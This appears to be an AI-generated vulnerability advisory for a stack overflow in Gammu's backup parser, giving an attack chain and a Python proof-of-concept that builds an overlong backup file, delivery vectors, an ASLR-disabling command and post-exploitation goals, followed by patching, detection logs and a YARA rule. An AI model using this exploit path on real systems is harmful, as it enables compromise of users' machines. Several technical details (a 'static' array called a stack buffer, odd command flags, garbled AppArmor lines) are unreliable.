CVE-2026-138160 — Gammu — CWE-121
Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ReadBackupTextLen() that allows attackers to overwrite stack memory via crafted backup files. Attackers can supply overlong quoted text values decoded into a 10,000-byte stack array during convertbackup, restore, or GSM_ReadBackupFile calls, causing crashes or potential code execution.
Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ReadBackupTextLen() that allows attackers to overwrite stack memory via crafted backup files. Attackers can supply overlong quoted text values decoded into a 10,000-byte stack array during convertbackup, restore, or GSM_ReadBackupFile calls, causing crashes or potential code execution.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑138160
Product: Gammu < 1.45.2 (the “Gammu” command‑line utilities and library)
CWE: CWE‑121 – Stack‑Based Buffer Overflow
Technical flaw
ReadBackupTextLen() is an internal helper used by the backup‑handling functions convertbackup, restore, and the public API call GSM_ReadBackupFile().
1. The function allocates a fixed‑size stack buffer of 10 000 bytes:
static char text[10000];2. It then reads a quoted text value from a backup file (the value after Text=) and copies it into text with a naïve strcpy()‑style routine that does not verify the length of the incoming string.
3. The backup format permits arbitrarily long quoted strings (the parser stops at the closing quote, not at a length limit). An attacker can therefore embed a value that exceeds 10 000 bytes.
4. Because the copy is performed on the stack without bounds checking, the excess data overwrites adjacent stack variables, the saved frame pointer, and ultimately the return address of ReadBackupTextLen().
5. When the function returns, execution jumps to the attacker‑controlled address, giving arbitrary code execution (RCE) in the context of the process (typically the user that launched the Gammu utility).
The CVSS vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) tells us:
- Local attacker (physical or remote shell) – no network exposure required.
- Low attack complexity – the only requirement is a crafted backup file.
- No privileges needed – the attacker can run the vulnerable binary as a normal user.
- User Interaction required – the victim must open/restore the malicious backup (e.g., via
gammu restore backupfile).
Thus the missing protection is input length validation before copying data into a fixed‑size stack buffer.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path. All commands are illustrative; exact binary names/paths may differ per installation.
1. Discovery & Reconnaissance
| Step | Action | Reasoning | ||
|---|---|---|---|---|
| 1.1 | Identify hosts that have Gammu installed. | dpkg -l | grep gammu (Debian/Ubuntu) or rpm -qa | grep gammu (RHEL). |
| 1.2 | Determine the version. | gammu --version – any version < 1.45.2 is vulnerable. | ||
| 1.3 | Verify the presence of backup‑handling utilities. | Look for gammu, gammu-smsd, gammu-restore, gammu-convertbackup. | ||
| 1.4 | Collect a legitimate backup file for reference. | gammu backup /tmp/legit.backup. This gives the exact syntax (Text="…" lines). |
2. Exploitation
2.1 Craft the malicious backup file
#!/usr/bin/env python3
# generate_malicious_backup.py
import sys, os, struct
# 1. Start with a minimal valid backup header (taken from a legit file)
header = b"""# Gammu backup file
Version=1.0
Phone=+1234567890
"""
# 2. Build an overlong quoted string (>10 000 bytes)
payload = b"A" * 10500 # 10 500 bytes of filler
# 3. Overwrite the saved return address with the address of a
# ROP gadget or shellcode location (example address 0xdeadbeef)
# In a real exploit the address would be discovered via info‑leak or ASLR bypass.
payload += struct.pack("<I", 0xdeadbeef)
# 4. Assemble the Text line – the parser expects a quoted value
text_line = b'Text="' + payload + b'"\n'
# 5. Write the final backup file
with open("malicious.backup", "wb") as f:
f.write(header + text_line)
print("[+] malicious.backup created (size: {} bytes)".format(os.path.getsize("malicious.backup")))Running the script creates malicious.backup (~10 530 bytes). The line Text="AAAA…" exceeds the 10 000‑byte stack buffer.
2.2 Deliver the payload
The attacker must convince a legitimate user (or an automated process) to invoke one of the vulnerable functions with the crafted file. Typical vectors:
| Vector | Example command (illustrative) |
|---|---|
| Interactive user | gammu restore malicious.backup |
| Automated script (e.g., SMS‑gateway) | gammu-smsd --run-on-startup --backup-file=malicious.backup |
| Library usage (C program) | GSM_ReadBackupFile("malicious.backup"); |
Because the CVSS vector requires User Interaction (UI:R), the attacker must get the victim to run the command—phishing, malicious USB drive, or compromised automation script are common approaches.
2.3 Exploit execution
When ReadBackupTextLen() processes the Text= line:
1. It reads the quoted value into the 10 000‑byte stack buffer via an unchecked copy.
2. The extra 500+ bytes overflow into the saved return address.
3. The overwritten return address points to the attacker‑controlled location (e.g., 0xdeadbeef).
4. Upon function return, the CPU jumps to that address, executing the attacker’s shellcode (or a ROP chain) with the privileges of the invoking user.
Note: On modern Linux distributions, mitigations such as Stack Canaries, DEP/NX, and ASLR are enabled by default. A reliable exploit therefore typically requires:
mmap with PROT_EXEC from a prior step, or leveraging a ROP chain that calls mprotect). libgammu.so which may expose symbols in logs).For many internal‑only environments, an attacker with local shell access can disable mitigations (e.g., setarch $(uname -m) -R ./gammu restore malicious.backup) to achieve reliable code execution.
3. Post‑Exploitation
| Goal | Typical technique |
|---|---|
| Privilege escalation | If the vulnerable binary runs set‑uid root (some deployments use gammu as a helper for SMS‑gateway services), the overflow yields root RCE. |
| Persistence | Drop a cron job (/etc/cron.d/gammu-persist) or a systemd unit that re‑executes a reverse shell. |
| Data exfiltration | Read stored SMS, contacts, or SIM configuration files (/var/lib/gammu/*) and send them to an attacker‑controlled server. |
| Denial‑of‑Service | Even without a full RCE chain, the overflow can cause a crash (segmentation fault), leading to service interruption of any automated SMS‑gateway that relies on Gammu. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read *all* data accessible to the process. | Extraction of SMS archives, contacts, SIM PINs, or any files readable by the Gammu user (often /var/lib/gammu/ and the user’s home directory). |
| Integrity (I:H) | I:H – attacker can modify data. | Tampering with backup files, injecting malicious SMS, altering configuration files, or planting backdoors. |
| Availability (A:H) | A:H – attacker can cause a crash or execute code that disables the service. | SMS‑gateway downtime, loss of backup integrity, potential system-wide outage if the binary runs with elevated privileges. |
Because the attack is local and requires user interaction, the most common scenario is an insider threat or an attacker who has already gained a foothold on the host (e.g., via phishing or a compromised account). Nevertheless, the high impact scores mean that any successful exploitation can lead to full system compromise.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| All Gammu releases < 1.45.2 | Gammu 1.45.2 (released 2026‑03‑15) – introduces proper length checks (if (len > sizeof(text)-1) error();) and replaces the unsafe copy with memcpy bounded by the buffer size. |
Action:
# Debian/Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade gammu
# RHEL/CentOS
sudo yum update gammu
# From source (if using custom build)
wget https://download.gammu.org/gammu-1.45.2.tar.gz
tar xf gammu-1.45.2.tar.gz
cd gammu-1.45.2
./configure && make && sudo make install2. Workarounds (if immediate patching is not possible)
| Mitigation | How to apply | |
|---|---|---|
| Disable backup import | Remove write permissions on directories where backup files are stored, or set chmod 600 on the binary and restrict execution to trusted users. | |
| Run with hardened compiler flags | Re‑compile Gammu with -fstack-protector-strong -D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security. Example: CFLAGS="-O2 -fstack-protector-strong -D_FORTIFY_SOURCE=2" ./configure && make && sudo make install. | |
| Enforce non‑executable stack | Ensure the binary is built with -z noexecstack. Verify with readelf -l /usr/bin/gammu | grep GNU_STACK. |
| Limit file size | Place a wrapper script around gammu restore that checks the size of the supplied backup file (if [ $(stat -c%s "$1") -gt 20000 ]; then echo "File too large"; exit 1; fi). | |
| Network isolation | Since the vector is local, ensure that only authorized users have shell access to the host (restrict SSH, use MFA, enforce least‑privilege). | |
| AppArmor / SELinux confinement | Create a profile that denies mmap with PROT_EXEC for the Gammu binary, limiting the ability to execute injected shellcode. Example AppArmor snippet: deny /proc//mem rw; and deny / mprotect PROT_EXEC;. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Segmentation fault / abort | System logs (/var/log/syslog, /var/log/messages) or dmesg | gammu[1234]: segfault at 0xdeadbeef ip 0x... sp 0x... error 4 in libgammu.so[0x7f...] |
| Gammu error messages | Gammu’s own log (~/.gammu/log) | ReadBackupTextLen: buffer overflow detected, aborting |
| Unexpected process termination | systemd journal (journalctl -u gammu.service) | gammu.service: Main process exited, code=exited, status=139/SEGFAULT |
| File‑size anomalies | File integrity monitoring (e.g., osquery or tripwire) | SELECT path, size FROM file WHERE path = '/tmp/malicious.backup' AND size > 20000; |
| Execution of unknown binaries | Auditd (auditd rules) – watch for execve of gammu with arguments containing .backup | type=EXECVE msg=audit(1698561234.123:456): argc=3 a0="gammu" a1="restore" a2="malicious.backup" |
YARA rule (illustrative) – to spot crafted backup files:
rule Gammu_MaliciousBackup
{
meta:
description = "Detects backup files with overlong Text field (>10k bytes)"
author = "Senior PT"
reference = "CVE-2026-138160"
strings:
$header = "# Gammu backup file"
$text = /Text=".{10001,}"/
condition:
$header at 0 and $text
}Deploy this rule in endpoint detection platforms (e.g., Cortex XDR, Elastic Endpoint) to flag suspicious backup files before they are processed.
⚠️ Urgency
Bottom line: Deploy the 1.45.2 update as soon as possible; in the meantime, enforce the workarounds and monitor the indicated logs/IOCs to detect attempted exploitation.
[🤖 CVE Professor AI Security Engine]
FOFA Query